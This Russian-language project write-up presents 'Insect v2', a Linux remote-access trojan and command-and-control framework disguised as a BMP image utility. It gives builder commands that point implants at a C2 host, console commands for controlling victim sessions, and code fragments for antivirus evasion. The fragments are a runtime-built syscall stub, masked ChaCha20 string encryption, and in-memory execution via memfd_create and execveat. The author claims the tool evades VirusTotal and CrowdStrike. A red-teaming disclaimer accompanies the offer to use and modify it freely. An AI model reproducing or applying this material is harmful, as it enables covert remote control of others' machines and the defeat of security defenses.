
Файловая реверс-оболочка и C2-фреймворк, использующий прямые системные вызовы, прокси-туннелирование и шифрование ChaCha20 для обхода антивирусов.
Insect — это C2-троян для файловых reverse shell и beacon-пейлоадов Linux. Этот троян маскируется под утилиту обработки 24-битных BMP-изображений. Он использует Dynamic Syscall Stubs, memfd_create, строковые ресурсы, зашифрованные ChaCha20, tunnel proxy и ICC Profile Encryptor для обхода статического анализа. C2-сервер поддерживает 2 типа пейлоадов: interactive и beacon.
Ручное создание syscall — старая техника, но для Insect v2 я усовершенствовал способ построения стабов во время выполнения, чтобы оставаться незамеченным современными сканерами. Динамически конструируя syscall, пейлоад избегает стандартных сигнатур, которые обычно ловят статические антивирусы.
В реальных тестах он успешно обошёл все движки на VirusTotal. Я также протестировал его против CrowdStrike Falcon, где он получил «зелёный флаг» без обнаружений от статического движка. Во время динамического анализа он вызвал лишь одно незначительное подозрение и в итоге также был признан безопасным.
Отказ от ответственности: Insect V2 находится в стадии разработки, к тому же я не одобряю никакой незаконной деятельности. Вы можете свободно использовать его для целей red teaming. И модифицировать его.
server.py → multi-session C2 console
main.c → revshell implant (interactive shell)
main_beacon.c → beacon implant (task-driven polling)
У нас есть 2 профиля:
# Interactive reverse shell
python3 builder.py --profile revshell --host <C2_IP> --port <C2_PORT> --domain <TUNNEL_DOMAIN>
# Task-driven beacon
python3 builder.py --profile beacon --host <C2_IP> --port <C2_PORT> --domain <TUNNEL_DOMAIN>
Оба создают бинарник bmputil. Билдер шифрует все открытые строки с помощью ChaCha20 во время сборки, шифрует скомпилированный ELF с помощью маски ICC-профиля, разбивает его по именованным ELF-секциям и генерирует загрузочный стаб.
python3 server.py
По умолчанию запускает слушатель на 0.0.0.0:8080.
(insect) > list # show active sessions
(insect) > use rev-a1b2c3d4 # interact with a revshell
(insect) > task bea-deadbeef whoami # queue a command for a beacon
(insect) > tasks bea-deadbeef # view completed task results
(insect) > listen beacon 0.0.0.0 9090 # start an additional listener
(insect) > exit
Сессии отслеживаются по уникальному 4-байтовому статическому ID, встроенному во время сборки.
При выполнении на целевой машине пейлоад принимает фиктивные аргументы для поддержания правдоподобности:
./bmputil input.bmp output.bmp --grayscale
Под капотом он форкается, подключается обратно к C2 через туннель Minecraft handshake (playit.gg) и ждёт триггер 0xDEAD. После срабатывания он перенаправляет stdin/stdout/stderr в сокет и запускает /bin/sh.
C2-сервер хранит revshell-соединения в реестре сессий. Используйте use <id>, чтобы подключить ваш терминал к сессии.
Beacon'ы подключаются, регистрируются со своим встроенным beacon_id, проверяют наличие ожидающих задач, выполняют их через fork + pipe + execve, сообщают результаты, затем спят 30 секунд и переподключаются.
Используйте task <id> <command> для постановки задач в очередь. Результаты хранятся в памяти и просматриваются с помощью tasks <id>.
Оба профиля используют одни и те же примитивы обхода:
uint8_t stub[] = {
0x48, 0x89, 0xf8, 0x48, 0x89, 0xf7, 0x48, 0x89, 0xd6,
0x48, 0x89, 0xca, 0x4d, 0x89, 0xc2, 0x4d, 0x89, 0xc8,
0x0f, 0x05, 0xc3
};
memcpy(buf + payload_size, stub, sizeof(stub));
long (*_sys)(long, long, long, long, long, long, long) = (void *)(buf + payload_size);
Как обсуждалось ранее, опкоды syscall (0F 05) конструируются во время выполнения в исполняемой памяти, чтобы избежать статического анализа.
static void _transform_resource(
const uint8_t *in, uint8_t *out, int len,
const uint8_t nce[8], int add_null
) {
uint32_t state[16] = {
0x61707865 ^ __CHACHA_MASK__, 0x3320646e ^ __CHACHA_MASK__, // chacha_mask = random.randint(0x10000000, 0x7FFFFFFF)
// ...
};
}
Каждая строка шифруется во время сборки с уникальным nonce. XOR-маска на константах состояния блокирует обнаружение на основе сигнатур настройки ChaCha20.
long fd = _sys(SYS_MEMFD_CREATE, (long)"", 0, 0, 0, 0, 0);
if (fd >= 0) {
_sys(SYS_WRITE, fd, (long)buf, tot, 0, 0, 0);
long p = _sys(SYS_FORK, 0, 0, 0, 0, 0, 0);
if (p == 0) {
char *args[] = { (char *)APP_NAME, NULL };
_sys(SYS_EXECVEAT, fd, (long)"", (long)args, 0, AT_EMPTY_PATH, 0);
_sys(SYS_EXIT, 1, 0, 0, 0, 0, 0);
}
_sys(SYS_CLOSE, fd, 0, 0, 0, 0, 0);
}
Пейлоад выполняется полностью из памяти через memfd_create + execveat.
Технически memfd_create и execveat обнаруживаются антивирусами, но они зашифрованы и создаются во время выполнения, и, что удивительно, в реальных тестах не помечаются.
Промежуточный ELF XOR-шифруется с помощью гамма-корректированной таблицы цветовых преобразований ICC и случайного 32-байтового ключа, затем разбивается по 8 именованным секциям .rodata.blk*. Загрузочный стаб собирает, расшифровывает и выполняет его.
Этот метод не является чем-то новым, скорее это старая техника, но insect v2 модифицирует и перереализует техники, упомянутые в различных статьях по безопасности и вредоносном ПО, вы можете ознакомиться с ними здесь: